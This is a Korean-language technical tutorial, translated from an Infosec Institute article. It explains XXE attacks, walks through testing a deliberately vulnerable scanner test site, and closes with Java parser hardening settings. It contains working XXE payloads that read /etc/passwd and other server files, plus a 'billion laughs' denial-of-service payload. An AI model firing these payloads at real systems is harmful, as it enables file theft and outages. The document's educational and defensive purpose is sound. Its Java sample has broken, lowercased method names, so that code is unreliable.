기술문서 14. 11. 10. 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 dokymania@naver.com I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라. Exploit 5 마. 피해 6 III. 결론 6 가. 권고사항 6
I. 소개 가. 역자 본문서는 INFOSEC INSTITUTE의글 1) 을번역한것으로설명글과예제의원문은 INFOSEC INSTITUE에서확인할수있다. 나. XXE XXE(XML External Entitiy attack) 은현재 Facebook, Paypal 과같은메이저웹어플리케이션에서많이발견되고있다. 예를들어, 이러한사이트들의최근의 Bug Bounty 취약점을훑어봐도이를확인할수있다. XXE 공격이수년동안존재했었지만, 가치에비해주목을받지못하였다. 대부분의 XML parser들의기본설정은이공격에취약하다. 즉, XXE 공격은개발자들이확인할책임이있다. 이기술문서에서는 XML 외부 Entity가무엇인지, 어떻게공격받을수있는지에대해알아볼것이다. II. 본문 가. XML external entities XML이무엇인지모른다면, 데이터를표현하는무언가라고생각할수있다. 즉, 다른기술을사용하는두개의시스템이서로 XML을사용하여통신하고데이터를교환할수있다. 예를들어, 아래표는종업원을나타내는 XML 문서이다. 'name', 'salary' 그리고 address' 는 XML elements 라고한다. [ 표 1. XML docuemnt] <?xml version="1.0"?> <employee> <name>rohit</name> <salary>100</salary> <address>newyork</address> </employee> 이제이러한 XML 문서들은시스템구별자로정의된 'entities' 라는것을포함할수있다. 그 리고 DOCTYPE 헤더안에존재한다. 이러한 entities 들은 local 이나 remote 내용에접근할수 있다. 예를들어, 아래의표는 XML entities 를포함한 XML 문서를나타낸다. 1) http://resources.infosecinstitute.com/xxe-attacks/
[ 표 2. XML docuemnt] <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE rohit[ <!ENTITY entityex SYSTEM "file:///etc/passwd"> ]> <abc>&entityex;</abc> 위의코드에서, external entity 'entityex' 는 file:///etc/passwd 라는값으로선언되었다. XML 파싱중에, 이 entity는상대적인값으로교체될것이다. SYSTEM 키워드의사용은 parser로하여금 entity값을뒤에표현된 URI에서부터읽어오라고지시하는것이다. 그러므로, entity 값이여러번사용될때, 매우도움이된다. 나. XXE Attack XML entities와 'SYSTEM' 키워드는 XML parser로하여금 URI에서부터데이터를읽어서 XML 문서에표현되는것을가능하게한다. 그러므로, 공격자는자신의값을 entity를통해서보낼수있고, 웹어플리케이션으로하여금출력하도록할수있다. 간단하게, 공격자는 XML parser가공격자에의해지정된 local 혹은 remote 시스템의파일에접근하도록할수있다. 예를들어, 아래코드는시스템의 folder/file을가져와서사용자에게출력해준다. [ 표 3. XML docuemnt] <?xml version="1.0"?> <!DOCTYPE Rohit[ <!ENTITY entityex SYSTEM "file:///folder/file"> ]> <abc>&entityex;</abc> 다. 점검방법 1). 점검방법 가장직관적인방법은 XML을입력값으로받는엔드포인트들을확인하면된다. 그러나, 가끔 XML을받는엔드포인트가명확하지않을경우가있다 ( 예를들어, 고객이서비스에접근하기위해오직 JSON타입만사용할경우 ). 이런경우, 침투전문가들은어떻게어플리케이션이응답하는지보기위해 HTTP 메소드, Content-Type 등을수정해보는다른방법들을시도해봐야한다. 만약어플리케이션이내용을파싱할경우, XXE에취약할수있다.
2). 실습 데모를위해서, Acunetix web scanner 테스트사이트인 http://testhtml5.vulnweb.com 를사용하자. http://testhtml5.vulnweb.com 사이트에접속하여 Login' 아래에위치한 Forget Password' 를클릭하라. 어플리케이션이아래에서보듯이 XML을사용해데이터를전송하는것을확인하라. [ 그림 1. Request] [ 그림 2. Reponse] 위의 requests 와 response 를보면특정입력값을받고이를다시출력해주니까, 어플리케이 션이 XML 을처리하는것을확인할수있다.
[ 그림 3. 수정된 Requests & Reponse] 라. Exploit [ 표 4. exploit code] 1. To read files on same server: <?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE foo [ <!ENTITY myentity SYSTEM "file:///location/anyfile" >]> <abc>&myentity;</abc> 2. To crash the server / Cause denial of service: <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 위의코드는 billion laughs' 라고알려진공격으로, 거의 3GB정도의기하급수적인양의공간을갖는다. 이것외에도공격자는서버에존재하는민감한파일들 ( 어플리케이션에서접근할수있어야함 ) 을읽을수있고, 포트스캐닝등을수행하여백엔드시스템의열린포트를확인할수있다. 마. 피해 이취약점은공격자로하여금서버에존재하는민감한파일들을읽을수있게하거나, 서 버에 DOS 공격을수행할수있게하기때문에매우위험하다. III. 결론 다. 권고사항 주된문제점은위에서언급했듯이 XML parser가사용자로부터전송된신뢰할수없는데이터를파싱하는것이다. 그러나, DTD의시스템식별자내에표현된데이터들만을입증하는것은쉽지않거나불가능하다. 대부분의 XML parser들은기본적으로 XXE 공격에취약하다. 그러므로, 가장좋은해결책은 XML 처리기가 local static DTD를사용하도록설정하고이외의 XML 문서내에서선언된 DTD들을사용하지않도록설정하는것이다. 예를들어, Java( 아래코드에서보듯이 ) 에서, 상대적인속성들을 false 로설정함으로써, XXE 공격은방어할수있다. 그러므로 external entities, parameter entities, 그리고 inline DTD 들은 XXE 에기초한공격들을방어하기위해 false 로설정되어진다.
[ 표 5. 권고사항 ] import javax.xml.parsers.documentbuilderfactory; import javax.xml.parsers.parserconfigurationexception; // catching unsupported features... DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); try { // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities String FEATURE = "http://xml.org/sax/features/external-general-entities"; dbf.setfeature(feature, false); // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities FEATURE = "http://xml.org/sax/features/external-parameter-entities"; dbf.setfeature(feature, false); // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; dbf.setfeature(feature, true); // remaining parser logic... catch (ParserConfigurationException e) { // This should catch a failed setfeature feature logger.info("parserconfigurationexception was thrown. The feature '" +
FEATURE + "' is probably not supported by your XML processor.");... } catch (SAXException e) { // On Apache, this should be thrown when disallowing DOCTYPE logger.warning("a DOCTYPE was passed into the XML document");... } catch (IOException e) { // XXE that points to a file that doesn't exist logger.error("ioexception occurred, XXE may still possible: " + e.getmessage());.. }